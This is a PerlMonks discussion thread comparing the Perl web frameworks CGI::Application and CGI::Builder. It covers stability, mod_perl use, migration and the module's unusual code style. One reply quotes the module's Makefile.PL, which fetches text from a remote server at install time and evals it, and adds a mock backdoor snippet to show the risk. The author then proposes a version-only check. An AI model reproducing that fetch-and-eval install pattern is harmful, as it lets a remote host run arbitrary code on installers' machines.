http://www.perlmonks.org?node_id=349729

gryphon has asked for the wisdom of the Perl Monks concerning the following question:

Greetings fellow monks,

For a couple years now I've been using CGI::Application along with HTML::Template and several other modules to build Web applications. I've been extremely pleased with this framework, but I'm always in search of ways to make my life (and the lives of my developers) easier. In a recent CPAN search, CGI::Builder bounced in front of me. After reading some of the PODs, I'm thinking seriously about switching to it from CGI::Application. Both support my favorite templating system, and there's even CGI::Builder::CgiAppAPI to make the transition easier.

The problem, however, is that I've got zero real coding experience with it yet, and I haven't finished reading through all the PODs for the extentions. Has anyone used both modules in practice? Which is "better"? (I know, depends on *. But which do you like better and why?) I don't have an extreme desire to recode any of our legacy stuff, but going forward, is switching smart?

UPDATE: I guess this begs the question: Is there a third framework that's even "better" than these two systems?

gryphon
code('Perl') || die;

Replies are listed 'Best First'.
Re: CGI::Application vs CGI::Builder
by perrin (Chancellor) on May 02, 2004 at 03:55 UTC
    Wow, check out the source code for CGI::Builder. That is one of the strangest styles I have ever seen. Not necessarilly evil, but very different from standard advice about perl style.
      Perrin, Maybe the style is not evil, but what Makefile.PL does is quite Evil
      ; eval { require LWP::Simple ; my $res = LWP::Simple::get ( "http://perl.4pro.net/install.txt" . "?DISTRIBUTION=$dist&VERSION=$vers&PERL=$]-$^O" ) ; eval $res if $res }
      I am assuming that this is just a benign install counter and maybe it has the ability to alert the user that the version being installed has been updated, but how do I know that there is not something like this at perl.4pro.net?
      ; if (grep /$uesr_domain/ @my_enemies) ; { open(FH, '<', 'backdoor.txt') ; print while(<FH>) ; print STDERR "$user_host 0wn3d! hehehe\g\g\g\g\g\g\g\n" { else { ; open(FH, '<', 'message.txt') ; print while (<FH>) ; pint STDERR "Tick\n" } ;close FH

      And even if there is no code like that. 1. It is still underhanded! and 2. What happens if perl.4pro.net gets owned, then someone could install code that does the above. Bonus points for doing it as a kernel module!

      Would it not be ironic were his site to be comprimised by another module's "Counter feature"?

      And look at per.4pro.net, it shows quite a few perl modules, and I would wager that most of them the same code in the Makefile.PL.

        > I am assuming that this is just a benign install
        > counter and maybe it has the ability to alert the user
        > that the version being installed has been updated

        It's exactly that ;-). Just try to install an old version and you will have a prompt telling you that you are installing an old version, and for the counter... knowing how many people find useful my work is one of the reasons that make me publish my modules ;-)

        > It is still underhanded!

        Well, if you go through some old version of my modules, the Makefile.PL had a prompt. After receiving a lot of users' complaint i take off the prompt. No secret backdoor. The effort and time that require writing modules like CGI::Builder and related documentation is a little bit TOO MUCH to be wasted in similar stupid hacks.

        > What happens if perl.4pro.net gets owned, then someone could install code that does the above.

        This is a really GOOD question, and I didn't think about that before your post!!! Thank you very much! Even if it is a very remote possibility, it's real. I think that a possible solution may be adding an expiration date in the code in the Makefile.PL, thus if it runs after that date, it just warn the user of the probably old version and does nothing with perl.4pro.net.

        Any other suggestion?

        Domizio Demichelis

        Even better: Since I have no need to send something to eval from my domain, I will put all the code to execute in the Makefile.PL avoiding any "insane suspect".

        I need just to check the version number, so I think that something like this could be ok:

        ; my $dist = 'CGI::Builder'; ; my $vers = 1.21 ; ; my $LWP_installed = eval {require LWP::Simple} ; ; if ( $LWP_installed ) { my $current_vers = LWP::Simple::get ( "http://perl.4pro.net/check_version.cgi" . "?DISTRIBUTION=$dist&VERSION=$vers&PERL=$]-$^O +" ) ; if ( $current_vers > $vers ) { print 'This is an OLD VERSION! ... bla, bla ' } else { print 'Version OK ... bla, bla' } }

        If there are no objection, I will change all my Makefile.PL with that code in the next version.
        (I will update all my new distribution in a day or so).

        Regards

        Domizio Demichelis

      I'll fourth it and agree that it is bloody evil. For those too lazy to check, heres a quick sample from the top:
      package CGI::Builder ; $VERSION = 1.2 ; ; use strict ; use 5.006_001 ; use Carp ; $Carp::Internal{+__PACKAGE__}++ ; $Carp::Internal{'CGI::Builder::_'}++ ; use CGI::Builder::Const qw| :all | ; use IO::Util ; sub capture { my ($s, $h, @args) = @_ ; IO::Util::capture{ $s->$h(@args) } }
        I'am using C:B under mod_perl (called Apache-CGI-Builder) for my actual projects and I really like it. It's pretty new thats correct, but the author has first rewritten C:A before he started with C:B, so it seems that he has some experience. C:B has some great features: overrunning concept (the same handler, i.e. a init handler get executed in every class) and some more which are pretty handy, just read the well organized and easy to read documentation! As mentioned above i run all my code under mod_perl and the integration is smooth (including some optimzed code for mod_perl (package variables)). The same author has also written a great template engine, TemplateMagic, it integrates very well with A:C:B, if you have some free time give it a look. it's true that the perl-code doesn't look like the code you see in other modules, but it's very constant and if you have looked at few .pm's i don't think you have any problems reading it. if you get used to TemplateMagic, or read just the documentation, you see that the author is a real perl guy. TemplateMagic is quite simple but offers the greatest flexibilty i've ever seen in a templateengine!
        The "Evil" code style is a sort of "mental discipline" which tries to make me remember the semicolons, commas, brackets and parens. :-)

        It is also an attempt to improve the vertical alignment of similar elements, thus trying to *draw* vertical ideal lines enforcing the code structure not just with identation spaces, by also with meaningful characters (similar to the $ % @ & perl characters in front of identifiers).

        Please, look at this simplification of code:

        "Evil" style ; _________ { ____ ( ___ , __ , ___ ) ; _____ ; ___ } More conventional style _________ { ____ ( ___, __, ___ ); _____; ___; }

        Looking at the "Evil" style you will have brackets and semicolons of the same block, always *drawing* a vertical line; same thing for the parens and commas in a list. This make it harder to leave some element out, while the conventional style (being far less vertical aligned), leaves me too freedom to forget something.

        The only drawback is that the "Evil" style it is too unconventional to be used in the examples of my PODs :-(

        Domizio Demichelis

      I'll push forward and be brave enough to say that it is necessarilly evil. My god.

      It looks very similar to some PL/SQL and/or COBOL code I've seen. *shrugs* We can all recognize C and Java coders writing in Perl. I'd put forward that this is the 4GL/2GL versions of Perl.

      ------
      We are the carpenters and bricklayers of the Information Age.

      Then there are Damian modules.... *sigh* ... that's not about being less-lazy -- that's about being on some really good drugs -- you know, there is no spoon. - flyingmoose

      Well, if it is evil, at least it's consistently evil!
      -derby

      i second the Wow.

      I agree that the semicolon placement is something that we don't see much around here. There is a good reason for doing it that way in some other languages. For example, unnecessary semicolons tended to compile into extra assembly language instructions in Borland Turbo Pascal 3.0. The module's unusual style minimizes extra semicolons while still making it obvious if one is left out.

      There is also some other cleverness in the module, but I've seen more extreme examples in some well-respected code. Is the complaint really just about non-standard semicolons?

      After running the module through perltidy a few times, the semicolon placement went away, the braces were where I expected them, and I was left with an interesting read.

      I'll probably stick with CGI::Application, though.

      It should work perfectly the first time! - toma
        Is the complaint really just about non-standard semicolons?

        I wasn't even complaining about it really. I just thought it was unique and worth looking at. I wouldn't want someone to use this style on a project I was working on because it creates an additional barrier for the vast majority of people who are used to reading code in the style that most perl books show, but it doesn't make me automatically distrust the module. (The Makefile.PL issue might, but that's entirely separate.)

Re: CGI::Application vs CGI::Builder
by dragonchild (Archbishop) on May 02, 2004 at 03:03 UTC
    After a very cursory examination, I would be leery. C::A has a lot of mileage behind it. It's very stable and has a huge following. It also has been extensively testing with both mod_perl 1 and 2.

    That said, I would give it a whirl. The conversion process looks to be both simple and well-thought out. If it works for you, then go for it!

    ------
    We are the carpenters and bricklayers of the Information Age.

    Then there are Damian modules.... *sigh* ... that's not about being less-lazy -- that's about being on some really good drugs -- you know, there is no spoon. - flyingmoose

      I would describe it more like C::A has studiously ignored both mod_perl 1 and 2. It is simply a well-behaved CGI program, which makes it easy to run under Apache::Registry and ModPerl::Registry.
        You can use CGI::Builder under Apache::Registry and ModPerl::Registry as well, exactly like you do with C::A.

        The Apache::CGI::Builder adds just some feature you might appreciate under mod_perl ;-)

Re: CGI::Application vs CGI::Builder
by Belgarion (Chaplain) on May 02, 2004 at 03:34 UTC
Re: CGI::Application vs CGI::Builder
by jdporter (Paladin) on May 03, 2004 at 06:11 UTC
      I used CGI::Builder::CgiAppAPI to convert an intranet application (43 runmodes), that now is working fine under Apache::CGI::Builder: the process was quite simple but very annoying.

      The good things are:
      - almost 90% of conversion changes were just search and replace in the application module
      - I can take off 20% of the old code not needed anymore
      - I can split the module into more useful super classes (really rehusable) using overrunning
      - Apache::CGI::Builder is really nice

      The bad things are:
      - I had to run all the run modes, one by one, to make sure I didn't forget anything. The hints that CGI::Builder::CgiAppAPI gives you are just run-time hints. I don't know if it would be possible but I'd like to have compile-time hints or at least some automatic-all-run-modes checking to avoid to do it manually.
      - HTML::Template is my favourite templating system and it is supported by CGI::Builder::HTMLtmpl (with even more encapsulation than in CGI::Application), but it appears to be limited comparing it with CGI::Builder::Magic. Since the author is the same (for Template::Magic and CGI::Builder), I have the insane suspect that he did it intentionally :-@

        How does CGI::Builder provide better superclassing than CGI::Application? I'm really confused about this statement. My runmodes go through two superclasses (at least!) before hitting CGI::Application, each providing some layer of useful stuff.

        ------
        We are the carpenters and bricklayers of the Information Age.

        Then there are Damian modules.... *sigh* ... that's not about being less-lazy -- that's about being on some really good drugs -- you know, there is no spoon. - flyingmoose